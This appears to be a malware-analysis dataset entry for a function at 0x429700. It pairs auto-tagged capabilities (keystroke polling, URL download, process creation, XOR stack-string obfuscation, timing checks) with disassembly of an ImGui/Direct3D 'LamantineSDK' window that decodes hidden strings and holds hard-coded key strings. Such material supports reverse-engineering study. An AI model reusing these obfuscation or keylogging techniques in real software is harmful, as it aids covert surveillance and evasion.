Function at 0x429700
Capabilities:
Authenticate hmac
Check for time delay via queryperformancecounter
Contain obfuscated stackstrings
Create http request
Create process on windows
Download url
Encode data using xor
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x2e8
mov eax, dword [0x4c60c4]
xor eax, esp
mov dword [esp + 0x2e4], eax
push esi
push edi
push 0
mov dword [esp + 0x204], 0x30
mov dword [esp + 0x208], 0x40
mov dword [esp + 0x20c], 0x42b210
mov dword [esp + 0x210], 0
mov dword [esp + 0x214], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0x214], eax
xorps xmm0, xmm0
lea eax, [esp + 0x200]
mov dword [esp + 0x228], str.LamantineSDK
push eax
movups xmmword [esp + 0x21c], xmm0
mov dword [esp + 0x230], 0
call dword [sym.imp.USER32.dll_RegisterClassExW]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call esi
cdq
sub eax, edx
mov edi, eax
sar edi, 1
push 1
sub edi, 0x9d
call esi
push 0
push dword [esp + 0x218]
cdq
push 0
push 0
push 0x10c
sub eax, edx
push 0x13a
sar eax, 1
sub eax, 0x86
push eax
push edi
push connect
push str.LamantineSDK
push dword [esp + 0x250]
push 0x80000
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 1
push 0
mov esi, eax
push 0
push esi
mov dword [esp + 0x70], esi
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
push 0x20
call dword [sym.imp.d3d9.dll_Direct3DCreate9]
mov ecx, eax
mov dword [0x4c8190], ecx
test ecx, ecx
je 0x42b112
push 0x4c81a8
push 0x4c81ac
push 0x40
xorps xmm0, xmm0
mov dword [0x4c81c0], 0
push esi
push 1
movlpd qword [0x4c81ac], xmm0
movlpd qword [0x4c81b8], xmm0
mov dword [0x4c81c8], 0
movlpd qword [0x4c81d8], xmm0
mov dword [0x4c81cc], 1
mov dword [0x4c81c4], 1
mov dword [0x4c81b4], 0
mov dword [0x4c81d0], 1
mov dword [0x4c81d4], 0x50
mov dword [0x4c81e0], 1
mov eax, dword [ecx]
push 0
push ecx
call dword [eax + 0x40]
test eax, eax
js 0x42b10c
push 0xa
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, dword [0x4c8150]
test eax, eax
je 0x4298bf
inc dword [eax + 0x374]
push dword [0x4c8148]
push 0x3c78
call fcn.00402870
add esp, 8
test eax, eax
je 0x4298e3
push 0
mov ecx, eax
call fcn.00401480
mov ecx, eax
jmp 0x4298e5
xor ecx, ecx
mov eax, dword [0x4c8150]
test eax, eax
cmove eax, ecx
mov dword [0x4c8150], eax
call fcn.00406e30
mov eax, dword [0x4c8150]
push ecx
mov ecx, str.C:WindowsFontsTahoma.ttf
mov dword [esp + 0x14], 0
mov eax, dword [eax + 0x98]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x14]
push eax
call fcn.004030a0
add esp, 8
mov dword [esp + 0x5c], eax
test eax, eax
je 0x4299e8
lea ecx, [esp + 0x180]
call fcn.0041d080
mov ecx, 0x1e
lea edi, [esp + 0x270]
mov esi, eax
rep movsd dword es:[edi], dword [esi]
cmp byte [esp + 0x2ba], 0
jne 0x42999d
mov eax, 0x4bdd57
nop word [eax + eax]
mov dl, byte [eax - 1]
cmp dl, 0x2f
je 0x429975
cmp dl, 0x5c
je 0x429975
dec eax
cmp eax, str.C:WindowsFontsTahoma.ttf
ja 0x429960
movsd xmm0, qword [0x4bdfd8]
sub esp, 8
movsd qword [esp], xmm0
push eax
push str._s___.0fpx
lea eax, [esp + 0x2ca]
push 0x28
push eax
call fcn.00402ed0
add esp, 0x18
mov eax, dword [esp + 0x5c]
lea esi, [esp + 0x270]
mov ecx, 0x1e
lea edi, [esp + 0x180]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x180], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x184], eax
lea eax, [esp + 0x180]
push eax
mov dword [esp + 0x194], 0x41800000
call fcn.0041d330
mov esi, dword [esp + 0x60]
mov eax, dword [0x4c8150]
movaps xmm0, xmmword [0x4be360]
mov dword [eax + 0x152c], 0
mov dword [eax + 0x1524], 0
mov dword [eax + 0x1528], 0
mov dword [eax + 0x1548], 0
mov dword [eax + 0x1530], 0
mov dword [eax + 0x153c], 0x3f000000
mov dword [eax + 0x1540], 0x3f000000
mov dword [eax + 0x1554], 0
movups xmmword [eax + 0x15dc], xmm0
movaps xmm0, xmmword [0x4be470]
movups xmmword [eax + 0x15ec], xmm0
movaps xmm0, xmmword [0x4be270]
movups xmmword [eax + 0x15fc], xmm0
movaps xmm0, xmmword [0x4be150]
movups xmmword [eax + 0x160c], xmm0
movaps xmm0, xmmword [0x4be200]
movups xmmword [eax + 0x161c], xmm0
movaps xmm0, xmmword [0x4be1f0]
movups xmmword [eax + 0x162c], xmm0
xorps xmm0, xmm0
movups xmmword [eax + 0x163c], xmm0
movaps xmm0, xmmword [0x4be180]
movups xmmword [eax + 0x164c], xmm0
movaps xmm0, xmmword [0x4be1d0]
movups xmmword [eax + 0x165c], xmm0
movaps xmm0, xmmword [str.p__n__n___]
movups xmmword [eax + 0x166c], xmm0
movaps xmm0, xmmword [0x4be4d0]
movups xmmword [eax + 0x167c], xmm0
movaps xmm0, xmmword [0x4be150]
movups xmmword [eax + 0x168c], xmm0
movaps xmm0, xmmword [0x4be150]
movups xmmword [eax + 0x169c], xmm0
movaps xmm0, xmmword [0x4be3e0]
movups xmmword [eax + 0x16ac], xmm0
movaps xmm0, xmmword [0x4be200]
movups xmmword [eax + 0x16bc], xmm0
movaps xmm0, xmmword [0x4be200]
movups xmmword [eax + 0x16cc], xmm0
movaps xmm0, xmmword [0x4be250]
movups xmmword [eax + 0x16dc], xmm0
movaps xmm0, xmmword [0x4be1a0]
movups xmmword [eax + 0x16ec], xmm0
movaps xmm0, xmmword [0x4be1b0]
movups xmmword [eax + 0x16fc], xmm0
movaps xmm0, xmmword [0x4be1b0]
movups xmmword [eax + 0x170c], xmm0
movaps xmm0, xmmword [0x4be140]
movups xmmword [eax + 0x171c], xmm0
movaps xmm0, xmmword [0x4be180]
movups xmmword [eax + 0x172c], xmm0
movaps xmm0, xmmword [0x4be170]
movups xmmword [eax + 0x173c], xmm0
movaps xmm0, xmmword [0x4be160]
movups xmmword [eax + 0x174c], xmm0
movaps xmm0, xmmword [0x4be2a0]
movups xmmword [eax + 0x175c], xmm0
movaps xmm0, xmmword [0x4be2c0]
movups xmmword [eax + 0x176c], xmm0
movaps xmm0, xmmword [str._nW_]
movups xmmword [eax + 0x177c], xmm0
movaps xmm0, xmmword [0x4be260]
movups xmmword [eax + 0x178c], xmm0
movaps xmm0, xmmword [0x4be2a0]
movups xmmword [eax + 0x179c], xmm0
movaps xmm0, xmmword [0x4be2a0]
movups xmmword [eax + 0x17ac], xmm0
movaps xmm0, xmmword [0x4be2a0]
movups xmmword [eax + 0x17bc], xmm0
movaps xmm0, xmmword [0x4be2d0]
movups xmmword [eax + 0x17cc], xmm0
movaps xmm0, xmmword [0x4be2d0]
movups xmmword [eax + 0x17dc], xmm0
movaps xmm0, xmmword [0x4be2a0]
movups xmmword [eax + 0x17ec], xmm0
movaps xmm0, xmmword [0x4be2d0]
movups xmmword [eax + 0x17fc], xmm0
movaps xmm0, xmmword [0x4be2d0]
movups xmmword [eax + 0x180c], xmm0
movaps xmm0, xmmword [0x4be370]
movups xmmword [eax + 0x181c], xmm0
push 0x4c8188
movaps xmm0, xmmword [0x4be420]
movups xmmword [eax + 0x182c], xmm0
movaps xmm0, xmmword [0x4be460]
movups xmmword [eax + 0x183c], xmm0
movaps xmm0, xmmword [0x4be400]
movups xmmword [eax + 0x184c], xmm0
movaps xmm0, xmmword [0x4be3b0]
movups xmmword [eax + 0x185c], xmm0
movaps xmm0, xmmword [0x4be3a0]
movups xmmword [eax + 0x186c], xmm0
movaps xmm0, xmmword [0x4be1e0]
movups xmmword [eax + 0x187c], xmm0
movaps xmm0, xmmword [0x4be320]
movups xmmword [eax + 0x188c], xmm0
movaps xmm0, xmmword [0x4be410]
movups xmmword [eax + 0x189c], xmm0
movaps xmm0, xmmword [0x4be2f0]
movups xmmword [eax + 0x18ac], xmm0
movaps xmm0, xmmword [0x4be190]
movups xmmword [eax + 0x18bc], xmm0
movaps xmm0, xmmword [0x4be220]
movups xmmword [eax + 0x18cc], xmm0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov edi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x429dc5
push 0x4c8180
call edi
test eax, eax
je 0x429dc5
mov eax, dword [0x4c8150]
mov dword [0x4c817c], esi
or dword [eax + 0xc], 6
mov dword [eax + 0xbc], str.imgui_impl_win32
mov dword [eax + 0xe0], esi
mov dword [eax + 0x34], 9
mov dword [eax + 0x38], 0x25
mov dword [eax + 0x3c], 0x27
mov dword [eax + 0x40], 0x26
mov dword [eax + 0x44], 0x28
mov dword [eax + 0x48], 0x21
mov dword [eax + 0x4c], 0x22
mov dword [eax + 0x50], 0x24
mov dword [eax + 0x54], 0x23
mov dword [eax + 0x58], 0x2d
mov dword [eax + 0x5c], 0x2e
mov dword [eax + 0x60], 8
mov dword [eax + 0x64], 0x20
mov dword [eax + 0x68], 0xd
mov dword [eax + 0x6c], 0x1b
mov dword [eax + 0x70], 0xd
mov dword [eax + 0x74], 0x41
mov dword [eax + 0x78], 0x43
mov dword [eax + 0x7c], 0x56
mov dword [eax + 0x80], 0x58
mov dword [eax + 0x84], 0x59
mov dword [eax + 0x88], 0x5a
jmp 0x429dca
mov eax, dword [0x4c8150]
mov ecx, dword [0x4c81a8]
or dword [eax + 0xc], 8
mov dword [eax + 0xc0], str.imgui_impl_dx9
push ecx
mov eax, dword [ecx]
mov dword [0x4c8170], ecx
call dword [eax + 4]
xorps xmm0, xmm0
mov dword [esp + 0x268], 0
movaps xmmword [esp + 0x250], xmm0
movq qword [esp + 0x260], xmm0
nop dword [eax]
push 1
push 0
push 0
push 0
lea eax, [esp + 0x260]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x429e4b
lea eax, [esp + 0x250]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x250]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x42af82
cmp dword [0x4c8168], 0
jne 0x429e62
cmp dword [0x4c8170], 0
je 0x429e62
call fcn.00421d80
mov esi, dword [0x4c8150]
lea eax, [esp + 0x230]
push eax
push dword [0x4c817c]
mov dword [esp + 0x18], esi
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x238]
sub eax, dword [esp + 0x230]
movd xmm1, eax
mov eax, dword [esp + 0x23c]
sub eax, dword [esp + 0x234]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
lea eax, [esp + 0x248]
cvtdq2ps xmm0, xmm0
push eax
movss dword [esi + 0x10], xmm1
movss dword [esi + 0x14], xmm0
call edi
mov edi, dword [esp + 0x248]
mov ecx, edi
sub ecx, dword [0x4c8180]
mov esi, dword [esp + 0x24c]
mov edx, esi
sbb edx, dword [0x4c8184]
call fcn.00476c70
mov edx, dword [0x4c818c]
mov ecx, dword [0x4c8188]
cvtsd2ss xmm0, xmm0
movss dword [esp + 0xc], xmm0
call fcn.00476c70
movss xmm1, dword [esp + 0xc]
cvtsd2ss xmm0, xmm0
mov eax, dword [esp + 0x10]
push 0x11
divss xmm1, xmm0
movss dword [eax + 0x18], xmm1
mov dword [0x4c8184], esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
mov dword [0x4c8180], edi
call esi
mov edi, dword [esp + 0x10]
shr eax, 0xf
and al, 1
push 0x10
mov byte [edi + 0x100], al
call esi
shr eax, 0xf
and al, 1
push 0x12
mov byte [edi + 0x101], al
call esi
mov esi, dword [0x4c8150]
shr eax, 0xf
and al, 1
mov byte [edi + 0x103], 0
mov byte [edi + 0x102], al
cmp byte [esi + 0x35b], 0
je 0x429fb2
cvttss2si eax, dword [esi + 0xe8]
mov dword [esp + 0x240], eax
cvttss2si eax, dword [esi + 0xec]
mov dword [esp + 0x244], eax
lea eax, [esp + 0x240]
push eax
push dword [0x4c817c]
call dword [sym.imp.USER32.dll_ClientToScreen]
push dword [esp + 0x244]
push dword [esp + 0x244]
call dword [sym.imp.USER32.dll_SetCursorPos]
mov dword [esi + 0xe8], 0xff7fffff
mov dword [esi + 0xec], 0xff7fffff
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x42a038
mov ecx, dword [0x4c817c]
cmp eax, ecx
je 0x429fe6
push ecx
push eax
call dword [sym.imp.USER32.dll_IsChild]
test eax, eax
je 0x42a038
lea eax, [esp + 0x1f8]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x42a038
lea eax, [esp + 0x1f8]
push eax
push dword [0x4c817c]
call dword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x42a038
movd xmm0, dword [esp + 0x1f8]
movd xmm1, dword [esp + 0x1fc]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [esi + 0xe8], xmm0
movss dword [esi + 0xec], xmm1
cmp byte [edi + 0xb0], 0
je 0x42a046
or eax, 0xffffffff
jmp 0x42a051
mov eax, dword [0x4c8150]
mov eax, dword [eax + 0x1e0c]
cmp dword [0x4c6bf4], eax
je 0x42a063
mov dword [0x4c6bf4], eax
call fcn.00421fa0
call fcn.004220d0
call fcn.00406090
mov eax, dword [0x4c8150]
mov cl, 0x3e
mov dword [esp + 0x44], 0x535f723e
mov dword [esp + 0x48], 0x574a505f
mov dword [esp + 0x4c], 0x7a6d5b50
or dword [eax + 0x1aa0], 3
mov dword [eax + 0x1ab0], 0
mov dword [eax + 0x1ab4], 0
mov dword [eax + 0x1ab8], 0
mov dword [eax + 0x1abc], 0
mov dword [eax + 0x1aa4], 1
mov dword [eax + 0x1ac0], 0x439d0000
mov dword [eax + 0x1ac4], 0x43860000
mov dword [eax + 0x1aa8], 1
xor eax, eax
mov word [esp + 0x50], 0x75
nop dword [eax]
xor byte [esp + eax + 0x45], cl
inc eax
cmp eax, 0xc
jae 0x42a100
mov cl, byte [esp + 0x44]
jmp 0x42a0f0
push 0x1af
mov edx, 0x4c6a30
mov byte [esp + 0x55], 0
lea ecx, [esp + 0x49]
call fcn.0040a7a0
mov ecx, dword [0x4c8150]
add esp, 4
mov dword [esp + 0x128], 0x439d0000
mov dword [esp + 0x12c], 0x43860000
mov dword [esp + 0x7c], 0
mov eax, dword [ecx + 0x1a18]
push 0xf
push ecx
mov dword [esp], 0
mov byte [eax + 0x7c], 1
mov eax, dword [ecx + 0x1a18]
lea ecx, [esp + 0x130]
push 0xff2c2c2c
push ecx
lea ecx, [esp + 0x88]
mov dword [esp + 0x88], 0
push ecx
mov ecx, dword [eax + 0x290]
call fcn.0041c450
mov ecx, dword [0x4c8150]
xorps xmm3, xmm3
push 0xf
mov eax, dword [ecx + 0x1a18]
mov byte [eax + 0x7c], 1
mov eax, dword [ecx + 0x1a18]
mov esi, dword [eax + 0x290]
mov ecx, esi
test byte [esi + 0x24], 1
je 0x42a1ea
lea eax, [esp + 0x84]
mov dword [esp + 0x84], 0x439cc000
push eax
mov dword [esp + 0x8c], 0x4385c000
lea eax, [esp + 0x90]
mov dword [esp + 0x90], 0x3f000000
mov dword [esp + 0x94], 0x3f000000
jmp 0x42a225
lea eax, [esp + 0x94]
mov dword [esp + 0x94], 0x439cc148
push eax
mov dword [esp + 0x9c], 0x4385c148
lea eax, [esp + 0xa0]
mov dword [esp + 0xa0], 0x3f000000
mov dword [esp + 0xa4], 0x3f000000
push eax
call fcn.0041c000
push ecx
mov dword [esp], 0x3f800000
mov ecx, esi
push 1
push 0x32bcbcbc
push dword [esi + 0x54]
push dword [esi + 0x5c]
call fcn.0041ac20
mov ecx, dword [0x4c8150]
mov dword [esi + 0x54], 0
push 0xf
push ecx
mov eax, dword [ecx + 0x1a18]
mov dword [esp], 0
push 0xff1f1f1f
mov dword [esp + 0xac], 0x43998000
mov byte [eax + 0x7c], 1
mov eax, dword [ecx + 0x1a18]
lea ecx, [esp + 0xac]
push ecx
lea ecx, [esp + 0xb8]
mov dword [esp + 0xb4], 0x43818000
push ecx
mov ecx, dword [eax + 0x290]
mov dword [esp + 0xbc], 0x40e00000
mov dword [esp + 0xc0], 0x41100000
call fcn.0041c450
mov ecx, dword [0x4c8150]
xorps xmm3, xmm3
push 0xf
mov eax, dword [ecx + 0x1a18]
mov byte [eax + 0x7c], 1
mov eax, dword [ecx + 0x1a18]
mov esi, dword [eax + 0x290]
mov ecx, esi
test byte [esi + 0x24], 1
je 0x42a320
lea eax, [esp + 0xb4]
mov dword [esp + 0xb4], 0x43994000
push eax
mov dword [esp + 0xbc], 0x43814000
lea eax, [esp + 0xc0]
mov dword [esp + 0xc0], 0x40f00000
mov dword [esp + 0xc4], 0x41180000
jmp 0x42a35b
lea eax, [esp + 0xc4]
mov dword [esp + 0xc4], 0x43994148
push eax
mov dword [esp + 0xcc], 0x43814148
lea eax, [esp + 0xd0]
mov dword [esp + 0xd0], 0x40f00000
mov dword [esp + 0xd4], 0x41180000
push eax
call fcn.0041c000
push ecx
mov dword [esp], 0x3f800000
mov ecx, esi
push 1
push 0x32bcbcbc
push dword [esi + 0x54]
push dword [esi + 0x5c]
call fcn.0041ac20
mov ecx, dword [0x4c8150]
mov dword [esi + 0x54], 0
push 0xff05aede
push 0xff05aede
mov eax, dword [ecx + 0x1a18]
push 0xff03566d
push 0xff03566d
mov dword [esp + 0xe0], 0x43930000
mov byte [eax + 0x7c], 1
mov eax, dword [ecx + 0x1a18]
lea ecx, [esp + 0xe0]
push ecx
lea ecx, [esp + 0xec]
mov dword [esp + 0xe8], 0x422c0000
push ecx
mov ecx, dword [eax + 0x290]
mov dword [esp + 0xf0], 0x41a80000
mov dword [esp + 0xf4], 0x42180000
call fcn.0041c5a0
mov ecx, dword [0x4c8150]
push 0xf
push ecx
mov dword [esp], 0
mov eax, dword [ecx + 0x1a18]
push 0xff161616
mov dword [esp + 0xec], 0x43930000
mov dword [esp + 0xf0], 0x436d0000
mov byte [eax + 0x7c], 1
mov eax, dword [ecx + 0x1a18]
lea ecx, [esp + 0xec]
push ecx
lea ecx, [esp + 0xf8]
mov dword [esp + 0xf8], 0x41a80000
push ecx
mov ecx, dword [eax + 0x290]
mov dword [esp + 0x100], 0x42580000
call fcn.0041c450
mov ecx, dword [0x4c8150]
xorps xmm3, xmm3
push 0xf
mov eax, dword [ecx + 0x1a18]
mov byte [eax + 0x7c], 1
mov eax, dword [ecx + 0x1a18]
mov esi, dword [eax + 0x290]
mov ecx, esi
test byte [esi + 0x24], 1
je 0x42a4c7
lea eax, [esp + 0xf4]
mov dword [esp + 0xf4], 0x4392c000
push eax
mov dword [esp + 0xfc], 0x436c8000
lea eax, [esp + 0x100]
mov dword [esp + 0x100], 0x41ac0000
mov dword [esp + 0x104], 0x425a0000
jmp 0x42a502
lea eax, [esp + 0x104]
mov dword [esp + 0x104], 0x4392c148
push eax
mov dword [esp + 0x10c], 0x436c828f
lea eax, [esp + 0x110]
mov dword [esp + 0x110], 0x41ac0000
mov dword [esp + 0x114], 0x425a0000
push eax
call fcn.0041c000
push ecx
mov dword [esp], 0x3f800000
mov ecx, esi
push 1
push 0x32bcbcbc
push dword [esi + 0x54]
push dword [esi + 0x5c]
call fcn.0041ac20
mov dword [esi + 0x54], 0
mov cl, 0x29
mov dword [esp + 0x34], 0x5e454829
xor eax, eax
mov dword [esp + 0x38], 0x5e5a5048
mov dword [esp + 0x3c], 0x4c474740
mov word [esp + 0x40], 0x5b
nop
xor byte [esp + eax + 0x35], cl
inc eax
cmp eax, 0xc
jae 0x42a560
mov cl, byte [esp + 0x34]
jmp 0x42a550
mov esi, dword [0x4c8150]
lea eax, [esp + 0x35]
movss xmm3, dword [0x4be060]
push ecx
push 0
movss xmm2, dword [esi + 0x18e0]
push eax
push ecx
mov ecx, dword [esi + 0x18dc]
lea eax, [esp + 0x120]
mov dword [esp], 0xbf800000
push eax
mov byte [esp + 0x55], 0
call fcn.0041fef0
movss xmm0, dword [esp + 0x110]
mov cl, 0x50
addss xmm0, dword [0x4bdfa0]
movss xmm2, dword [0x4be03c]
mov dword [esp + 0x24], 0x273c3150
mov dword [esp + 0x28], 0x27232931
mov dword [esp + 0x2c], 0x353e3e39
cvttss2si eax, xmm0
mov word [esp + 0x30], 0x22
movd xmm1, eax
mov eax, dword [esi + 0x1a18]
cvtdq2ps xmm1, xmm1
mov byte [eax + 0x7c], 1
mov eax, dword [esi + 0x1a18]
movss dword [esp + 0x110], xmm1
mulss xmm1, dword [0x4bdf74]
movss xmm0, dword [eax + 0xc]
subss xmm0, dword [eax + 0x50]
movss xmm3, dword [eax + 0x10]
subss xmm2, xmm1
subss xmm3, dword [eax + 0x54]
addss xmm2, xmm0
addss xmm3, dword [0x4be00c]
movss dword [eax + 0xc8], xmm2
movss dword [eax + 0xcc], xmm3
movss xmm1, dword [eax + 0xe4]
movss xmm0, dword [eax + 0xe0]
maxss xmm1, xmm3
maxss xmm0, xmm2
movss dword [eax + 0xe4], xmm1
movss dword [eax + 0xe0], xmm0
xor eax, eax
xor byte [esp + eax + 0x25], cl
inc eax
cmp eax, 0xc
jae 0x42a672
mov cl, byte [esp + 0x24]
jmp 0x42a662
lea eax, [esp + 0x25]
mov byte [esp + 0x31], 0
push eax
call fcn.00422ca0
mov ecx, dword [0x4c8150]
mov dl, 0x43
add esp, 4
mov byte [esp + 0x20], 0
mov byte [esp + 0x20], 0
mov eax, dword [ecx + 0x1a18]
mov byte [eax + 0x7c], 1
mov eax, dword [ecx + 0x1a18]
mov cl, 0x5f
movss xmm0, dword [eax + 0x10]
movss xmm2, dword [eax + 0xc]
subss xmm0, dword [eax + 0x54]
subss xmm2, dword [eax + 0x50]
addss xmm0, dword [0x4be024]
addss xmm2, dword [0x4be020]
movss dword [eax + 0xcc], xmm0
movss dword [eax + 0xc8], xmm2
movss xmm1, dword [eax + 0xe4]
maxss xmm1, xmm0
movss xmm0, dword [eax + 0xe0]
maxss xmm0, xmm2
movss dword [eax + 0xe4], xmm1
movss dword [eax + 0xe0], xmm0
mov ah, 0x3a
mov al, 0x51
mov byte [esp + 0x1c], ah
xor al, ah
xor cl, ah
xor dl, ah
mov byte [esp + 0x1d], al
lea eax, [esp + 0x1d]
mov byte [esp + 0x1e], cl
push eax
mov byte [esp + 0x23], dl
call fcn.00422ca0
mov edx, dword [0x4c8150]
add esp, 4
mov eax, edx
mov dword [esp + 0x10], 0x43310000
mov dword [esp + 0x5c], eax
mov eax, dword [eax + 0x1a18]
lea esi, [eax + 0x1bc]
mov dword [esp + 0xc], eax
mov dword [eax + 0x1a8], 0x43310000
mov edi, dword [esi + 4]
mov ecx, dword [esi]
cmp ecx, edi
jne 0x42a79a
inc ecx
test edi, edi
je 0x42a772
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x42a777
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.004124e0
mov eax, dword [esp + 0xc]
mov ecx, dword [esi]
mov edx, dword [0x4c8150]
mov eax, dword [eax + 0x1a8]
mov dword [esp + 0x10], eax
mov eax, dword [esi + 8]
mov edi, dword [esp + 0x10]
mov byte [esp + 0x14], 0x67
push 0
mov dword [eax + ecx*4], edi
mov ch, 2
inc dword [esi]
mov eax, dword [esp + 0x60]
push 0
push 0
mov byte [esp + 0x27], 0
and dword [eax + 0x1b00], 0xfffffffe
mov eax, dword [edx + 0x1a18]
mov byte [esp + 0x27], 0
mov dword [esp + 0x124], 0
mov dword [esp + 0x128], 0
mov byte [eax + 0x7c], 1
mov eax, dword [edx + 0x1a18]
mov dh, 0x1e
movss xmm0, dword [eax + 0x10]
movss xmm2, dword [eax + 0xc]
subss xmm0, dword [eax + 0x54]
subss xmm2, dword [eax + 0x50]
addss xmm0, dword [0x4be028]
addss xmm2, dword [0x4be01c]
movss dword [eax + 0xcc], xmm0
movss dword [eax + 0xc8], xmm2
movss xmm1, dword [eax + 0xe4]
maxss xmm1, xmm0
movss xmm0, dword [eax + 0xe0]
maxss xmm0, xmm2
movss dword [eax + 0xe4], xmm1
movss dword [eax + 0xe0], xmm0
mov al, 0x44
mov cl, al
mov dl, al
xor al, byte [esp + 0x20]
mov ah, 0x2c
mov byte [esp + 0x21], al
mov al, byte [esp + 0x20]
xor ah, al
xor cl, al
xor dl, al
mov byte [esp + 0x24], ah
xor ch, al
mov byte [esp + 0x22], cl
xor dh, al
mov byte [esp + 0x23], dl
lea eax, [esp + 0x124]
mov byte [esp + 0x25], ch
push eax
mov byte [esp + 0x2a], dh
lea ecx, [esp + 0x25]
push 0x11
push 0x4c8194
xor edx, edx
call fcn.00425f00
mov edx, dword [0x4c8150]
add esp, 0x18
mov eax, dword [edx + 0x1a18]
mov byte [eax + 0x7c], 1
mov ecx, dword [edx + 0x1a18]
mov esi, dword [ecx + 0x1bc]
sub esi, 1
mov dword [ecx + 0x1bc], esi
jne 0x42a8cc
movss xmm0, dword [ecx + 0x26c]
jmp 0x42a8d8
mov eax, dword [ecx + 0x1c4]
movss xmm0, dword [eax + esi*4 - 4]
movss dword [ecx + 0x1a8], xmm0
xor ecx, ecx
mov eax, dword [edx + 0x1a18]
mov word [esp + 0x74], 0x41b
mov byte [esp + 0x76], 0
mov byte [eax + 0x7c], 1
mov eax, dword [edx + 0x1a18]
movss xmm0, dword [eax + 0x10]
subss xmm0, dword [eax + 0x54]
movss xmm2, dword [eax + 0xc]
subss xmm2, dword [eax + 0x50]
addss xmm0, dword [0x4be034]
addss xmm2, dword [0x4be018]
movss dword [eax + 0xcc], xmm0
movss dword [eax + 0xc8], xmm2
movss xmm1, dword [eax + 0xe4]
maxss xmm1, xmm0
movss xmm0, dword [eax + 0xe0]
maxss xmm0, xmm2
movss dword [eax + 0xe4], xmm1
movss dword [eax + 0xe0], xmm0
movaps xmm0, xmmword [0x4be120]
movups xmmword [esp + 0x64], xmm0
mov al, byte [esp + 0x64]
xor byte [esp + ecx + 0x65], al
inc ecx
cmp ecx, 0x11
jb 0x42a966
lea ecx, [esp + 0x65]
mov byte [esp + 0x76], 0
call fcn.004243d0
mov ecx, dword [0x4c8150]
mov dl, 0x24
mov byte [esp + 0x59], 0
mov dword [esp + 0x120], 0x43310000
mov dword [esp + 0x124], 0x41a80000
mov eax, dword [ecx + 0x1a18]
mov byte [esp + 0x59], 0
mov byte [eax + 0x7c], 1
mov eax, dword [ecx + 0x1a18]
mov ch, 0x45
mov cl, 0x2a
mov byte [esp + 0x54], ch
xor cl, ch
xor dl, ch
mov byte [esp + 0x56], cl
movss xmm0, dword [eax + 0x10]
movss xmm2, dword [eax + 0xc]
subss xmm0, dword [eax + 0x54]
subss xmm2, dword [eax + 0x50]
mov byte [esp + 0x57], dl
lea edx, [esp + 0x120]
push ecx
addss xmm0, dword [0x4be038]
addss xmm2, dword [0x4be01c]
movss dword [eax + 0xcc], xmm0
movss dword [eax + 0xc8], xmm2
movss xmm1, dword [eax + 0xe4]
maxss xmm1, xmm0
movss xmm0, dword [eax + 0xe0]
maxss xmm0, xmm2
movss dword [eax + 0xe4], xmm1
movss dword [eax + 0xe0], xmm0
mov al, 0x29
mov ah, 0x21
xor al, ch
xor ah, ch
mov byte [esp + 0x59], al
lea ecx, [esp + 0x59]
mov byte [esp + 0x5c], ah
call fcn.00423400
add esp, 4
test al, al
je 0x42aea3
mov ecx, 0x4c8194
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42aa60
sub ecx, edx
push ecx
push 0x4c8194
mov ecx, 0x4c6bf8
call fcn.0042b9b0
sub esp, 0x18
mov ecx, esp
push 0x20
push str.wGnE6QkJUNKCDuo7trYSMqaxXgFbZlpd
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.0042b9b0
sub esp, 0x18
mov ecx, esp
push 0x20
push str.PFNh5ieKDG8LXlgVpWY6UrOA2mcqbR31
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.0042b9b0
call fcn.00431590
cmp dword [0x4c6c0c], 0x10
mov esi, 0x4c6bf8
cmovae esi, dword [0x4c6bf8]
add esp, 0x18
push esp
call fcn.00431570
sub esp, 0x14
mov ecx, esi
mov edx, esp
lea edi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42ab00
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.0042b9b0
call fcn.00430f50
add esp, 0x30
test al, al
je 0x42ae47
movups xmm0, xmmword [0x4bdf1c]
mov ax, word [0x4bdf34]
xor esi, esi
mov edi, dword [0x4c76e4]
mov word [esp + 0x148], ax
movups xmmword [esp + 0x130], xmm0
movq xmm0, qword [0x4bdf2c]
movq qword [esp + 0x140], xmm0
cmp edi, 2
jl 0x42ac60
movaps xmm2, xmmword [0x4be0d0]
mov eax, 5
movaps xmm3, xmmword [0x4be520]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm4, eax
psrad xmm1, xmm4
